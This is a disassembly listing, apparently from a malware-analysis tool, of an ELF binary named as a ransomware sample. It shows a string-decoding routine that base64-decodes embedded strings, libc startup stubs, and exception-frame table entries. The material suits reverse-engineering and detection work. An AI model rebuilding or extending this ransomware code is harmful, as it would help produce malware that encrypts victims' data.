File inc_ransom_e16ac4475e24bbe97e50d7940df71079ea2f1dfd1f2bff6a649c09f7503d087c.elf
Function:
    0040d70e
    0040d70eDecodeStrings:
    0040d70epush rbp
    0040d70fmov rbp, rsp
    0040d712sub rsp, 32
    0040d716mov rax, [rip+0x20327b]
    0040d71dmov [rbp-24], -1
    0040d725mov rdx, rax
    0040d728mov eax, 0
    0040d72dmov rcx, [rbp-24]
    0040d731mov rdi, rdx
    0040d734repne scasb [rdi], al
    0040d736mov rax, rcx
    0040d739not rax
    0040d73csub rax, 1
    0040d740shr rax, 2
    0040d744mov edx, eax
    0040d746mov eax, edx
    0040d748add eax, eax
    0040d74aadd eax, edx
    0040d74cmov eax, eax
    0040d74emov rdi, rax
    0040d751call malloc@plt
    0040d756mov [rip+0x2032bb], rax
    0040d75dmov rsi, [rip+0x2032b4]
    0040d764mov rax, [rip+0x20322d]
    0040d76bmov [rbp-24], -1
    0040d773mov rdx, rax
    0040d776mov eax, 0
    0040d77bmov rcx, [rbp-24]
    0040d77fmov rdi, rdx
    0040d782repne scasb [rdi], al
    0040d784mov rax, rcx
    0040d787not rax
    0040d78asub rax, 1
    0040d78emov ecx, eax
    0040d790mov rax, [rip+0x203201]
    0040d797mov rdx, rsi
    0040d79amov esi, ecx
    0040d79cmov rdi, rax
    0040d79fcall base64_decode
    0040d7a4mov [rbp-4], eax
    0040d7a7mov rdx, [rip+0x20326a]
    0040d7aemov eax, [rbp-4]
    0040d7b1cdqe
    0040d7b3add rax, rdx
    0040d7b6mov [rax], 0
    0040d7b9mov rdx, [rip+0x2031f0]
    0040d7c0mov rax, [rip+0x203251]
    0040d7c7mov esi, 0x40f640
    0040d7ccmov rdi, rax
    0040d7cfcall ReplaseStringA
    0040d7d4mov [rip+0x20323d], rax
    0040d7dbmov edi, 32
    0040d7e0call malloc@plt
    0040d7e5mov [rip+0x203224], rax
    0040d7ecmov rsi, [rip+0x20321d]
    0040d7f3mov rax, [rip+0x2031a6]
    0040d7famov [rbp-24], -1
    0040d802mov rdx, rax
    0040d805mov eax, 0
    0040d80amov rcx, [rbp-24]
    0040d80emov rdi, rdx
    0040d811repne scasb [rdi], al
    0040d813mov rax, rcx
    0040d816not rax
    0040d819sub rax, 1
    0040d81dmov ecx, eax
    0040d81fmov rax, [rip+0x20317a]
    0040d826mov rdx, rsi
    0040d829mov esi, ecx
    0040d82bmov rdi, rax
    0040d82ecall base64_decode
    0040d833mov eax, 1
    0040d838leave
    0040d839ret
    0040d70e
    0040d83a
    0040d83a // align 0x10
    0040d840
    0040d840__libc_csu_fini:
    0040d840ret
    0040d840
    0040d842
    0040d842 // align 0x10
    0040d850
    0040d850__libc_csu_init:
    0040d850mov [rsp-40], rbp
    0040d855mov [rsp-32], r12
    0040d85alea rbp, [rip+0x202d9b]
    0040d861lea r12, [rip+0x202d94]
    0040d868mov [rsp-24], r13
    0040d86dmov [rsp-16], r14
    0040d872mov [rsp-8], r15
    0040d877mov [rsp-48], rbx
    0040d87csub rsp, 56
    0040d880sub rbp, r12
    0040d883mov r13l, edi
    0040d886mov r14, rsi
    0040d889sar rbp, 3
    0040d88dmov r15, rdx
    0040d890call _init
    0040d895test rbp, rbp
    0040d898je 0x40d8b6
    0040d89axor ebx, ebx
    0040d89cnop [rax]
    0040d8a0
    0040d8a0loc_40d8a0:
    0040d8a0mov rdx, r15
    0040d8a3mov rsi, r14
    0040d8a6mov edi, r13l
    0040d8a9call [r12+8*rbx]
    0040d8adadd rbx, 1
    0040d8b1cmp rbx, rbp
    0040d8b4jb 0x40d8a0
    0040d8b6
    0040d8b6loc_40d8b6:
    0040d8b6mov rbx, [rsp+8]
    0040d8bbmov rbp, [rsp+16]
    0040d8c0mov r12, [rsp+24]
    0040d8c5mov r13, [rsp+32]
    0040d8camov r14, [rsp+40]
    0040d8cfmov r15, [rsp+48]
    0040d8d4add rsp, 56
    0040d8d8ret
    0040d850
    0040d8d9
    0040d8d9 // align 0x10
    0040d8e0
    0040d8e0__lstat:
    0040d8e0mov rdx, rsi
    0040d8e3mov rsi, rdi
    0040d8e6mov edi, 1
    0040d8ebjmp 0x401370
    0040d8e0
    0040d8f0
    0040d8f0__do_global_ctors_aux:
    0040d8f0push rbp
    0040d8f1mov rbp, rsp
    0040d8f4push rbx
    0040d8f5sub rsp, 8
    0040d8f9mov rax, [rip+0x202d00]
    0040d900cmp rax, -1
    0040d904je 0x40d91f
    0040d906mov ebx, 0x610600
    0040d90bnop [rax+rax]
    0040d910
    0040d910loc_40d910:
    0040d910sub rbx, 8
    0040d914call rax
    0040d916mov rax, [rbx]
    0040d919cmp rax, -1
    0040d91djne 0x40d910
    0040d91f
    0040d91floc_40d91f:
    0040d91fadd rsp, 8
    0040d923pop rbx
    0040d924pop rbp
    0040d925ret
    0040d8f0
    0040d926
    0040d926 90 90 ..
    0040d928
    0040d928_fini:
    0040d928sub rsp, 8
    0040d92ccall __do_global_dtors_aux
    0040d931add rsp, 8
    0040d935ret
    0040d928
    0040d936
    0040d936 00 00 00 00 00 00 00 00 00 00 ..........
    0040d940
    0040d940 string ".rodata"
    0040f645
    0040f645 00 00 00 ...
    0040f648
    0040f648 struct EH_FRAME_HDR
    0040f648 version int 1
    0040f649 eh_frame_ptr_enc uint8 0x1b ; DW_EH_PE_pcrel_sdata4
    0040f64a fde_count_enc uint8 0x03 ; DW_EH_PE_udata4
    0040f64b table_enc uint8 0x3b ; DW_EH_PE_datarel_sdata4
    0040f64c eh_frame_ptr uint32 0x40f970
    0040f650 fde_count int 99
    0040f654
    0040f654 struct EH_FRAME_HDR_ENTRY
    0040f654 initial_loc uint32 0x401524
    0040f658 fde uint32 0x40f988
    0040f65c
    0040f65c struct EH_FRAME_HDR_ENTRY
    0040f65c initial_loc uint32 0x401708
    0040f660 fde uint32 0x40f9a8
    0040f664
    0040f664 struct EH_FRAME_HDR_ENTRY
    0040f664 initial_loc uint32 0x401744
    0040f668 fde uint32 0x40f9c8
    0040f66c
    0040f66c struct EH_FRAME_HDR_ENTRY
    0040f66c initial_loc uint32 0x401780
    0040f670 fde uint32 0x40f9e8
    0040f674
    0040f674 struct EH_FRAME_HDR_ENTRY
    0040f674 initial_loc uint32 0x40187f
    0040f678 fde uint32 0x40fa08
    0040f67c
    0040f67c struct EH_FRAME_HDR_ENTRY
    0040f67c initial_loc uint32 0x401944
    0040f680 fde uint32 0x40fa28
    0040f684
    0040f684 struct EH_FRAME_HDR_ENTRY
    0040f684 initial_loc uint32 0x401cb3
    0040f688 fde uint32 0x40fa48
    0040f68c
    0040f68c struct EH_FRAME_HDR_ENTRY
    0040f68c initial_loc uint32 0x401e98
    0040f690 fde uint32 0x40fa68
    0040f694
    0040f694 struct EH_FRAME_HDR_ENTRY
    0040f694 initial_loc uint32 0x402052
    0040f698 fde uint32 0x40fa88
    0040f69c
    0040f69c struct EH_FRAME_HDR_ENTRY
    0040f69c initial_loc uint32 0x402082
    0040f6a0 fde uint32 0x40faa8
    0040f6a4
    0040f6a4 struct EH_FRAME_HDR_ENTRY
    0040f6a4 initial_loc uint32 0x4020d6
    0040f6a8 fde uint32 0x40fac8
    0040f6ac
    0040f6ac struct EH_FRAME_HDR_ENTRY
    0040f6ac initial_loc uint32 0x40213c
    0040f6b0 fde uint32 0x40fae8
    0040f6b4
    0040f6b4 struct EH_FRAME_HDR_ENTRY
    0040f6b4 initial_loc uint32 0x40216e
    0040f6b8 fde uint32 0x40fb08
    0040f6bc
    0040f6bc struct EH_FRAME_HDR_ENTRY
    0040f6bc initial_loc uint32 0x4021a3
    0040f6c0 fde uint32 0x40fb28
    0040f6c4
    0040f6c4 struct EH_FRAME_HDR_ENTRY
    0040f6c4 initial_loc uint32 0x40220a
    0040f6c8 fde uint32 0x40fb48
    0040f6cc
    0040f6cc struct EH_FRAME_HDR_ENTRY
    0040f6cc initial_loc uint32 0x402274
    0040f6d0 fde uint32 0x40fb68
    0040f6d4
    0040f6d4 struct EH_FRAME_HDR_ENTRY
    0040f6d4 initial_loc uint32 0x4022d2
    0040f6d8 fde uint32 0x40fb88
    0040f6dc
    0040f6dc struct EH_FRAME_HDR_ENTRY
    0040f6dc initial_loc uint32 0x402343
    0040f6e0 fde uint32 0x40fba8
    0040f6e4
    0040f6e4 struct EH_FRAME_HDR_ENTRY
    0040f6e4 initial_loc uint32 0x4023ce
    0040f6e8 fde uint32 0x40fbc8
    0040f6ec
    0040f6ec struct EH_FRAME_HDR_ENTRY
    0040f6ec initial_loc uint32 0x402427
    0040f6f0 fde uint32 0x40fbe8
    0040f6f4
    0040f6f4 struct EH_FRAME_HDR_ENTRY
    0040f6f4 initial_loc uint32 0x402494
    0040f6f8 fde uint32 0x40fc08
    0040f6fc
    0040f6fc struct EH_FRAME_HDR_ENTRY
    0040f6fc initial_loc uint32 0x402501
    0040f700 fde uint32 0x40fc28
    0040f704
    0040f704 struct EH_FRAME_HDR_ENTRY
    0040f704 initial_loc uint32 0x402581
    0040f708 fde uint32 0x40fc48
    0040f70c
    0040f70c struct EH_FRAME_HDR_ENTRY
    0040f70c initial_loc uint32 0x402601
    0040f710 fde uint32 0x40fc68
    0040f714
    0040f714 struct EH_FRAME_HDR_ENTRY
    0040f714 initial_loc uint32 0x40268c
    0040f718 fde uint32 0x40fc88
    0040f71c
    0040f71c struct EH_FRAME_HDR_ENTRY
    0040f71c initial_loc uint32 0x402716
    0040f720 fde uint32 0x40fca8
    0040f724
    0040f724 struct EH_FRAME_HDR_ENTRY
    0040f724 initial_loc uint32 0x4027a0
    0040f728 fde uint32 0x40fcc8
    0040f72c
    0040f72c struct EH_FRAME_HDR_ENTRY
    0040f72c initial_loc uint32 0x4029e7
    0040f730 fde uint32 0x40fce8
    0040f734
    0040f734 struct EH_FRAME_HDR_ENTRY
    0040f734 initial_loc uint32 0x402a0c
    0040f738 fde uint32 0x40fd08
    0040f73c
    0040f73c struct EH_FRAME_HDR_ENTRY
    0040f73c initial_loc uint32 0x402a51
    0040f740 fde uint32 0x40fd28
    0040f744
    0040f744 struct EH_FRAME_HDR_ENTRY
    0040f744 initial_loc uint32 0x402a7b
    0040f748 fde uint32 0x40fd48
    0040f74c
    0040f74c struct EH_FRAME_HDR_ENTRY
    0040f74c initial_loc uint32 0x402b13
    0040f750 fde uint32 0x40fd68
    0040f754
    0040f754 struct EH_FRAME_HDR_ENTRY
    0040f754 initial_loc uint32 0x402b85
    0040f758 fde uint32 0x40fd88
    0040f75c
    0040f75c struct EH_FRAME_HDR_ENTRY
    0040f75c initial_loc uint32 0x402c5f
    0040f760 fde uint32 0x40fda8
    0040f764
    0040f764 struct EH_FRAME_HDR_ENTRY
    0040f764 initial_loc uint32 0x402c8c
    0040f768 fde uint32 0x40fdc8
    0040f76c
    0040f76c struct EH_FRAME_HDR_ENTRY
    0040f76c initial_loc uint32 0x402e79
    0040f770 fde uint32 0x40fde8
    0040f774
    0040f774 struct EH_FRAME_HDR_ENTRY
    0040f774 initial_loc uint32 0x4036ad
    0040f778 fde uint32 0x40fe10
    0040f77c
    0040f77c struct EH_FRAME_HDR_ENTRY
    0040f77c initial_loc uint32 0x40371f
    0040f780 fde uint32 0x40fe30